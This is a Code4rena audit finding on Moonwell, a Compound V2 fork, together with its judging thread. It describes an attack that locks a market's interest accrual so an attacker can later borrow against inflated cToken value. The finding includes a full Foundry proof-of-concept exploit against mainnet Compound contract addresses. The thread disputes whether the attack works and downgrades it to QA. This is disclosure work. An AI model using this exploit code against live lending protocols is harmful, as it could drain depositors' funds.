Borrowing donated tokens to grief and then steal all the tokens in the protocol

[code423n4]

Lines of code

https://github.com/code-423n4/2023-07-moonwell/blob/main/src/core/MToken.sol#L403 https://github.com/code-423n4/2023-07-moonwell/blob/main/src/core/IRModels/JumpRateModel.sol#L84-L94 https://github.com/code-423n4/2023-07-moonwell/blob/main/src/core/IRModels/WhitePaperInterestRateModel.sol#L51-L58

Vulnerability details

Impact

The bug in Compound V2

• Attacker targets a cToken that has low TVL to execute the following attack over a long period of time to get away with all of Compound TVL.
• Description:
  • Let's use cPAX for this example. Currently ~20k worth of cPAX has been minted so far. Attacker mints another $20k worth of cPAX. This is so that if cPAX's exchange rate increases, attackers borrowing power will also increase.
  • Attacker now adds their own ~$20k 2 10 of PAX tokens as reserves to cPAX using _addReserves method that is open to everyone.
  • From another account, the attacker borrows this tokens there were added as reserves by putting up appropriate collateral against them. Here, the attacker borrows just enough so that borrowRateMantissa goes near borrowRateMaxMantissa but does not go over it.
  • Attacker now calls accrueInterest on the cToken to lock this almost absurdly high borrow rate. (0.0005% per block).
  • The attacker borrows the rest of the tokens there were added as reserves to make sure borrowRateMantissa goes over borrowRateMaxMantissa and this means that cToken is now in lockdown. No operations can be done as all the functions call accrueInterest internally which fails with borrow rate is absurdly high error.
  • After 100 days, the attacker donates some cash to the cToken to bring borrowRateMantissa to be less than borrowRateMaxMantissa. At this point, their cTokens will have increased so much more in value that they can borrow other genuine tokens from the protocol. The longer the attacker waits, the higher the profit.
• Attacker is taking advantage of the fact that utilization can be greater than 100%. In addition, the attacker can lock the cToken to stay at this absurd utilization.
• Funds required for the attack can be further optimized by leveraging up. (Borrow, sell the token and put it up as collateral). I have not done that in the POC. heuristically we can say that the by using leverage the funds required can be 1/4th of what is shown. This means an attacker can break even in as soon as 25 days.
• I think this graph might be of some help to visualize the relationship between utilization and borrow rate: https://www.desmos.com/calculator/0jakyawjd7
• The attacker locks the borrowing rate at a little less than 0.0005% per block. All the interest rate payments are done to lenders by increasing the exchange rate of the asset they provided. If borrowers do not have enough interest to pay the assumption is that they would have been liquidated and their positions will have been closed. That assumption is violated here. Protocol thinks that lenders are getting paid 0.0005% interest per block and it keeps increasing the exchange rate. On the other side, borrowers have run out of interest to be paid but they are not liquidated as everything is in lockdown. After a sufficient time, when the exchange rate has been increased enough, the attacker goes ahead and borrows genuine tokens against it.
• Let me know if anything is unclear. I am happy to provide clarification.

What does it mean for MoonWell

• The same bug is present in Moonwell v2 as well.

Proof of Concept

• I am adding POC for compound v2 on mainnet.

• For Compound v2 I am using PAX dollar as an example. Right now, collateral factor is set to 0 for that so I am artificially setting it to 80% as this is required for the attack to work.

• Initiate a new foundry repo by running forge init. see here

• Add the below code in test/DonationAttack.t.sol

• Run the test with forge test --fork-url MAINNET_RPC_URL -vvvv

pragma solidity =0.8.7;

import "forge-std/Test.sol";

interface IERC20 {
    function transfer(address dst, uint256 amount) external returns (bool);

    function approve(address spender, uint256 amount) external returns (bool);

    function balanceOf(address owner) external view returns (uint256);

    function totalSupply() external view returns (uint256);
}

interface ICToken is IERC20 {
    function mint(uint256 mintAmount) external returns (uint256);

    function borrow(uint256 borrowAmount) external returns (uint256);

    function exchangeRateCurrent() external returns (uint256);

    function underlying() external view returns (IERC20);

    function _addReserves(uint256 addAmount) external returns (uint256);

    function accrueInterest() external returns (uint256);
}

interface IComptroller {
    function enterMarkets(ICToken[] calldata cTokens) external returns (uint256[] memory);
    function _setCollateralFactor(ICToken cToken, uint256 newCollateralFactorMantissa) external returns (uint256);
    function admin() external view returns (address);
}

contract AnotherAccount {
    function depositCTokensAndBorrow(
        IComptroller comptroller,
        ICToken cTokenToBorrowFrom,
        ICToken cTokenToDepositAsCollateral,
        uint256 depositAmount,
        uint256 amountToBorrow
    )
        external
    {
        cTokenToDepositAsCollateral.underlying().approve(address(cTokenToDepositAsCollateral), depositAmount);

        ICToken[] memory cTokensToEnter = new ICToken[](2);
        cTokensToEnter[0] = cTokenToDepositAsCollateral;
        cTokensToEnter[1] = cTokenToBorrowFrom;

        uint256[] memory errors = comptroller.enterMarkets(cTokensToEnter);
        require(errors[0] == 0, "enterMarkets 0 failed in AnotherAccount");
        require(errors[1] == 0, "enterMarkets 1 failed in AnotherAccount");

        require(cTokenToDepositAsCollateral.mint(depositAmount) == 0, "mint failed in AnotherAccount");

        require(cTokenToBorrowFrom.borrow(amountToBorrow) == 0, "borrow failed in AnotherAccount");
    }
}

contract DonationAttack is Test {
    IComptroller public constant comptroller = IComptroller(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B);
    ICToken public constant cToken = ICToken(0x041171993284df560249B57358F931D9eB7b925D); //cPAX
    ICToken public constant anotherCToken = ICToken(0x39AA39c021dfbaE8faC545936693aC917d5E7563); //cUSDC
    IERC20 public immutable underlying;
    IERC20 public immutable anotherUnderlying;

    uint256 NO_ERROR = 0;

    using stdStorage for StdStorage; //foundry specific, useful for funding the attacker contract

    uint256 underlyingTokenMintAmount = 20_000 ether;
    uint256 underlyingTokenReserveDonationAmount = 428_000 ether;
    uint256 underlyingTokenToBorrow = 426_000 ether;
    uint256 underlyingTokensToMakeBorrowRateNormal = 1_000 ether;
    uint256 anotherUnderlyingTokenAmount = 600_000 * 1e6; //amount that enough to cover borrowing underlyingTokenReserveDonationAmount of underlyingTokens

    AnotherAccount anotherAccount = new AnotherAccount();

    constructor() {
        underlying = IERC20(cToken.underlying());
        anotherUnderlying = IERC20(anotherCToken.underlying());
    }

    function writeTokenBalance(address who, address token, uint256 amt) internal {
        stdstore.target(token).sig(IERC20(token).balanceOf.selector).with_key(who).checked_write(amt);
    }

    function setUp() public {
        vm.startPrank(comptroller.admin());
        comptroller._setCollateralFactor(cToken, 0.8 ether);
        vm.stopPrank();

        console.log("underlyingTokenMintAmount", underlyingTokenMintAmount);
        //fund the attack contract with underlying and anotherUnderlying tokens
        writeTokenBalance(
            address(this),
            address(underlying),
            underlyingTokenMintAmount + underlyingTokenReserveDonationAmount + underlyingTokensToMakeBorrowRateNormal
        );
        writeTokenBalance(address(anotherAccount), address(anotherUnderlying), anotherUnderlyingTokenAmount);
    }

    function testAttackCurrent() public {
        underlying.approve(address(cToken), underlyingTokenMintAmount + underlyingTokenReserveDonationAmount);
        require(cToken.mint(underlyingTokenMintAmount) == NO_ERROR, "mint failed");
        // console.log("exchangeRateCurrent", cToken.exchangeRateCurrent());

        //add 1 whole token to the reserve
        require(cToken._addReserves(underlyingTokenReserveDonationAmount) == NO_ERROR, "addReserves failed");

        anotherAccount.depositCTokensAndBorrow(
            comptroller, cToken, anotherCToken, anotherUnderlyingTokenAmount, underlyingTokenToBorrow
        );
        //call accureInterest to lock in the almost absudlrly high borrow rate
        require(cToken.accrueInterest() == NO_ERROR, "accrueInterest failed");

        //borrow the rest of donated tokens so that no interaction with the cToken is possible
        anotherAccount.depositCTokensAndBorrow(
            comptroller, cToken, anotherCToken, 0, underlyingTokenReserveDonationAmount - underlyingTokenToBorrow
        );
        //Go in the future to next block just 10 seconds later
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 10 seconds);

        //no interaction with cToken is possible as accureInterest will revert with "borrow rate is absurdly high"
        //This also means that no one will be able to liquidate the position that was opened in the anotherAccount either
        vm.expectRevert("borrow rate is absurdly high");
        cToken.accrueInterest();

        //If there is no intervention from governace to upgrade the contracts,
        //after 100 days later the attack are able to get back all the tokens they spent for the attack
        vm.roll(block.number + 100 days / 12 seconds);
        vm.warp(block.timestamp + 100 days);

        //attacker donates some tokens to make the borrow rate less than borrowRateMaxMantissa
        underlying.transfer(address(cToken), underlyingTokensToMakeBorrowRateNormal);
        require(cToken.accrueInterest() == NO_ERROR, "accrueInterest failed");

        //at this point the initially minted cTokens will be worth way more than the donated tokens
        ICToken[] memory cTokensToEnter = new ICToken[](1);
        cTokensToEnter[0] = cToken;
        comptroller.enterMarkets(cTokensToEnter);

        require(
            anotherCToken.borrow(
                (
                    underlyingTokenMintAmount + underlyingTokenReserveDonationAmount
                        + underlyingTokensToMakeBorrowRateNormal
                ) / 1e12
            ) == NO_ERROR,
            "borrow failed"
        );

        //As you can imagine if they choose to do this after another 100 days they will be able to borrow double the amount they donated and so on ...
    }

    receive() external payable {}
}

Tools Used

• Manual Review

Recommended Mitigation Steps

• Instead of reverting when borrowRateMantissa hits borrowRateMaxMantissa, handle it by using borrowRateMaxMantissa for the current borrow rate.Also, Be aware that for different chain that have different block time, borrowRateMaxMantissa would translate to different max borrow rates.

Assessed type

Other

[0xSorryNotSorry]

The issue is well demonstrated, properly formatted, contains a coded POC. Marking as HQ.

[c4-pre-sort]

0xSorryNotSorry marked the issue as high quality report

[c4-pre-sort]

0xSorryNotSorry marked the issue as primary issue

[ElliotFriedman]

Testing against a chainforked mainnet, I cannot replicate this PoC.

[c4-sponsor]

ElliotFriedman marked the issue as sponsor disputed

[kankodu]

• Try again with: forge test --fork-url MAINNET_RPC_URL --fork-block-number 17413937 -vvvv
• Since I have hardcoded some numbers in the POC, they would have to be updated as described in the bug description to make the POC work for the current block.

[alcueca]

This report exposes a few flaws in the code, but given that this is live with Compound, and Compound hasn't been hacked to their whole TVL, or even DoS'd, it can't in all seriousness be considered a High.

The two flaws are:

• Reverting when borrowRateMantissa > borrowRateMaxMantissa instead of capping borrowRateMantissa to borrowRateMaxMantissa.
• borrowRateMantissa <= borrowRateMaxMantissa is a clear invariant that should be checked, and operations that violate it should be reverted.

However, I understand if the sponsor doesn't want to modify Compound's code, since it is working out for Compound so far.

@ElliotFriedman, I would suggest that you investigate this vulnerability until you fully understand it. @kankodu, would you know by chance how is it that Compound v2 defends itself against this vulnerability?

[kankodu]

In compound v2 they use borrow caps to avoid this attack vector.

• For tokens that does not have borrow cap, the donation required is more than the whole protocol's TVL.
• For other tokens borrow cap is less than the total tokens deposited.

[ElliotFriedman]

there are borrow caps in the moonwell codebase

[ElliotFriedman]

you can't make a PoC against another codebase we've forked off of and use that to demonstrate the vulnerability as the diff is pretty significant at this point and there are separate behaviors. Feel free to view the live deployed contracts on base here, and verify the vulnerability by doing a chainfork test on base with this instance of the lending market. https://github.com/moonwell-fi/moonwell-contracts-v2/blob/main/test/proposals/Addresses.sol

I understand the nature of the attack, however there are a few things that prevent it from happening.

1. governance can act to upgrade an implementation by upgrading to a new mToken that allows setting the interest rate model without calling accrue interest and an unbounded interest rate, then spiking the rates even higher through a new IRM, and then liquidating the user before they can profit.
2. anyone can donate to reserves, which the protocol owns, and then the positions become liquidatable.
3. this entire attack assumes governance would do nothing while this is happening, which is simply untrue.

[ElliotFriedman]

4. borrow caps prevent rates from going over the maximum values allowed

[kankodu]

• Well, showing a POC (Proof of Concept) of the attack in Compound v2 instead of Moonwell is not ideal. This is the best I can do for now, and it is clear that this attack vector wasn't considered when changes were made to the Moonwell codebase.
  1. "Governance will take care of it" is not a good solution to mitigate an attack vector.
  2. When the attack is ongoing, no one can donate to reserves, as it calls accrueInterest, which will fail.
  3. Same as 1.
  4. Yes, borrow caps are a good solution to mitigate this.

[alcueca]

We need to be realistic, an attack vector that takes 100 days to be executed is vulnerable to governance action, so the likelihood of the attack succeeding is low.

In addition, the sponsor is aware of the existence of borrow caps and while they might not be aware of how they should be set to avoid this particular attack, they might still set them to reasonable values that prevent it the same.

The report is being downgraded to Medium, in line with the assessment of the other wardens that reported that accrueInterest can be caused to revert and DoS the protocol.

[c4-judge]

alcueca changed the severity to 2 (Med Risk)

[c4-judge]

alcueca marked issue #70 as primary and marked this issue as a duplicate of 70

[c4-judge]

alcueca marked the issue as satisfactory

[c4-judge]

alcueca marked the issue as duplicate of #40

[c4-judge]

alcueca marked the issue as not a duplicate

[lyoungblood]

@C4-Staff This finding should not have been included in the report:

• It was invalid and the researcher couldn't provide a working PoC
• It was never reviewed for inclusion in the final report because it didn't get tagged as selected for report until August 28th, and the final review of issues took place on August 22nd-23rd.

[lyoungblood]

In addition, the sponsor is aware of the existence of borrow caps and while they might not be aware of how they should be set to avoid this particular attack, they might still set them to reasonable values that prevent it the same.

In fact, every active market on the Moonwell protocol has both a borrow cap set and multiple active risk managers adjusting them regularly. The reason @kankodu didn't provide a working PoC against live Moonwell contracts is because they know it isn't possible. I'm sure they tried.

[alcueca]

@lyoungblood

First, let's accept that the PoC is not valid, it is just a guideline to understand the theoretical attack. Submissions without PoC are accepted if the code is clearly wrong, and in this case it is clear that a vulnerability was brought over from Compound v2.

Second, if the warden would have coded a PoC working on live contracts, the submission would have been considered as High, most likely. It is not being rated as High.

On one hand: The code is wrong, and it can lead to losses if governance messes up. As such, this would be rated Medium.

On the other hand: The attack is VERY unlikely to be initiated because Moonwell boasts of borrow caps right there in the README, and after initiated VERY unlikely to succeed because of the long time needed to execute it. I could be persuaded to think of this as QA, as there are many other cases where governance errors lead to losses that are only QA. However, those tend to be because of design limitations, and not easily corrected in code.

I do not think that this would reflect wrongly on C4, judged either way. It really is borderline.

The fact remains that a vulnerability was ported from Compound v2 that Moonwell should have fixed. Teams forking Compound v2 in the future would benefit from the Moonwell report by not repeating this mistake.

[lyoungblood]

On the other hand: The attack is VERY unlikely to be initiated because Moonwell boasts of borrow caps right there in the README, and after initiated VERY unlikely to succeed because of the long time needed to execute it. I could be persuaded to think of this as QA, as there are many other cases where governance errors lead to losses that are only QA. However, those tend to be because of design limitations, and not easily corrected in code.

I think classifying this as QA is likely the best outcome. The Compound team put a lot of thought into the design, and intentionally chose to not solve for unlikely scenarios like this that can't be exploited in practice. Choosing to go back and fix vulnerabilities that are theoretical in nature (can only be executed if borrow caps are not set and governance ignores obvious market manipulation for 100+ days) could introduce other vulnerabilities and make the protocol less secure, not more.

We are balancing the desire to use the same codebase that has been battle-hardened on live networks for 3+ years vs. the desire to go back and fix bugs. Unfortunately this bug does not rise to the level of being worth a fix, since it is trivially mitigated. QA seems like a good category for it.

[c4-judge]

alcueca changed the severity to QA (Quality Assurance)

[c4-judge]

alcueca marked the issue as not selected for report

[c4-judge]

alcueca marked the issue as grade-a

[alcueca]

Agree with the sponsor, downgraded to QA.